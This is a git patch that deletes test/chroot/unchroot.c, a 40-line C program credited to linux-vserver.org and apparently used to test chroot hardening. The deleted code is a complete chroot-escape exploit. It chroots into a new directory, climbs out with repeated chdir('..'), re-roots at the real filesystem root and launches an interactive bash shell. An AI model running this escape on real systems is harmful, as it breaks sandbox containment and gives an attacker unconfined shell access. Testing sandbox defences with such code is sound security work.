From 3cf75fe9a34c0bb579502b106649a1fc58d39f35 Mon Sep 17 00:00:00 2001 From: startx2017 Date: Fri, 27 Jul 2018 12:56:41 -0400 Subject: phase 1 --- test/chroot/unchroot.c | 40 ---------------------------------------- 1 file changed, 40 deletions(-) delete mode 100644 test/chroot/unchroot.c (limited to 'test/chroot/unchroot.c') diff --git a/test/chroot/unchroot.c b/test/chroot/unchroot.c deleted file mode 100644 index 4919637d6..000000000 --- a/test/chroot/unchroot.c +++ /dev/null @@ -1,40 +0,0 @@ -// simple unchroot example from http://linux-vserver.org/Secure_chroot_Barrier -#include -#include -#include -#include -#include - -void die(char *msg) { - perror(msg); - exit(1); -} - -int main(int argc, char *argv[]) -{ - int i; - - if (chdir("/") != 0) - die("chdir(/)"); - - if (mkdir("baz", 0777) != 0) - ; //die("mkdir(baz)"); - - if (chroot("baz") != 0) - die("chroot(baz)"); - - for (i=0; i<50; i++) { - if (chdir("..") != 0) - die("chdir(..)"); - } - - if (chroot(".") != 0) - die("chroot(.)"); - - printf("Exploit seems to work. =)\n"); - - execl("/bin/bash", "bash", "-i", (char *)0); - die("exec bash"); - - exit(0); -} -- cgit v1.2.3-70-g09d2